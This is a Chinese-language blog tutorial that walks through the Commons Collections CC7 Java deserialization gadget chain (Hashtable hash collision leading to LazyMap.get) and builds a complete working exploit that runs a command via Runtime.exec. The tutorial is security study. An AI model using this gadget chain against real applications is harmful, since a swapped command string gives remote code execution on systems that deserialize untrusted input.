文章目录
前言
对比前几条链子,CC7链子的构造会稍显复杂,审计起来感觉跟CC6有点像,CC7的入口点是Hashtable,其核心在于利用Hashtable反序列化时的哈希碰撞来触发利用链,今天我们来详细分析一下
过程分析
后半部分
对于该链子的后半部分,我们用的还是LazyMap,具体可以参考之前的文章Java反序列化 CC1链分析 (LazyMap)
跟之前不一样的是,LazyMap这一部分代码需要进行修改,怎么修改我们后面分析的时候说,这里先把之前CC链用的代码放出来
java
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);
}
}
前半部分
初步探索
CC7的入口是Hashtable的readObject方法,我们跟进去看看

这段代码的主要作用是在对象被反序列化时,根据流里的数据合理初始化哈希表结构和数据,使其内容与序列化前一致,reconstitutionPut(table, key, value)则是把反序列化出来的键值对放入新哈希表数组中,实现恢复,我们跟进看看

该方法首先对value的值进行检查,如果为null则抛出异常,然后计算key的哈希值hash,并根据该哈希值计算索引index,定位到数组中对应的桶位置,接着遍历该位置上已有的链表,检查是否存在hash相同的key,如果存在则抛出异常,否则将创建一个新的Entry节点,并将其插入到对应桶的链表头部
其核心在于for循环这部分,if判断里存在短路与运算(&&),只有前面的满足了才可以进入后面的部分,同时我们上面提到,检查是否存在hash相同的key,也就意味着至少要向Hashtable里存入两个元素,且哈希值要相等,否则无法进入e.key.equals(key)这一部分
java
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
根据ysoserial的CC7代码,我们往key里面存入LazyMap的实例化对象,就会调用到LazyMap的equals方法,但是LazyMap并没有这个方法,所以会往它继承的父类那里去找,也就是AbstractMapDecorator里的equals方法

我们跟进看看,if语句判断传入的object是否与当前实例是同一个对象,即是否满足引用相等,如果是同一实例则返回true,不同则return map.equals(object),所以我们要传入两个不同的对象才能调用equals方法

其中map对应的是LazyMap实例传入的第一个参数,根据ysoserial,也就是传入的HashMap实例,调用该实例的equals方法,但是HashMap也没有equals方法,同样的,也是去它继承的父类去找,即AbstractMap的equals方法

跟进AbstractMap的equals方法,可以看到里面调用了get方法,这一部分代码主要是判断两个Map是否相等时,先做一些基本类型和大小的判断,再逐个比对键值对内容;如果发现同一键对应的值不相等,则进入value.equals分支,只要我们传入o为LazyMap的实例,然后经过强制类型转换就进入了m,调用m的get方法也就是调用LazyMap实例的get方法,完成闭环

我们可以初步构造代码如下,lazyMap1和lazyMap2的key我们分别传入yy和zZ,值就传个相同的数字,因为这样子两个lazyMap的hash值是相同的,均为3872
java
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap1 = new HashMap<>();
Map innerMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
serialize(hashTable);
unserialize("cc7.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
但是运行的时候我们发现,还没开始进行序列化和反序列化就已经弹出计算器了,这并不是我们想要的

那么我们如何解决呢
逐步完善
这跟我们前面讲到的CC6情况一样,属于本地误触情况,具体可以参考Java反序列化 CC6链分析的HashMap部分,如果提前在本地触发了利用链,那么反序列化的时候就不会弹出计算器了,解决方法也很简单,给LazyMap传入无害的Transformer,这里我们传入一个安全的ChainedTransformer,后面再通过反射修改其iTransformers的值为transformers即可
修改如下
java
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
// 添加无害ChainedTransformer,并删去原本的chainedTransformer实例
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map innerMap1 = new HashMap<>();
Map innerMap2 = new HashMap<>();
// 修改第二个参数为transformerChain
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
itransformer.setAccessible(true);
itransformer.set(transformerChain, transformers);
serialize(hashTable);
unserialize("cc7.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
但是运行之后还是没有弹出计算器,说明还存在问题,跟进调试后发现lazyMap2集合多了一个键值对yy

在经过AbstractMap的equals方法时,由于元素个数不同导致返回false,也就无法继续后续链子的执行

为什么会这样呢,其实这里的情况也跟CC6类似,在我们执行hashTable.put(lazyMap2, 2)时,里面调用了lazyMap2的equals方法,然后进一步调用了AbstractMapDecorator的equals和AbstractMap的equals,最后调用了LazyMap的get方法

在经过LazyMap的get方法时,由于对应键值对不存在,就会触发map.put(key, value)新添加一个,导致多了一个yy键值对

解决方法也很简单,直接删去这个多余的键值对即可
java
lazyMap2.remove("yy");
最终利用
综上,我们得到完整exp为
java
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map innerMap1 = new HashMap<>();
Map innerMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
lazyMap2.remove("yy");
Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
itransformer.setAccessible(true);
itransformer.set(transformerChain, transformers);
serialize(hashTable);
unserialize("cc7.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
成功弹出计算器

为了更直观的理解,这里放个流程图

总结
至此,CC1到CC7的审计也就结束了,花了有一些时间,不过一通审计下来收获挺大的,阅读代码的能力得到了提升,以后还要继续多审一些代码,争取进一步的突破,路漫漫其修远兮,吾将上下而求索